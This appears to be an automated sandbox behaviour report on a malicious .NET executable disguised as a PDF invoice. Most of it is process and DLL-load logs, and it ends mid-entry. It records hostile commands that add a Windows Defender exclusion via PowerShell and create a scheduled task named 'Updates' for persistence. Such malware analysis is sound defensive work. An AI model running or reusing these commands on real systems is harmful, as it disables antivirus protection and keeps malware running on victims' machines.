Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

File read: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process created: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Process created: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe "C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Process created: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

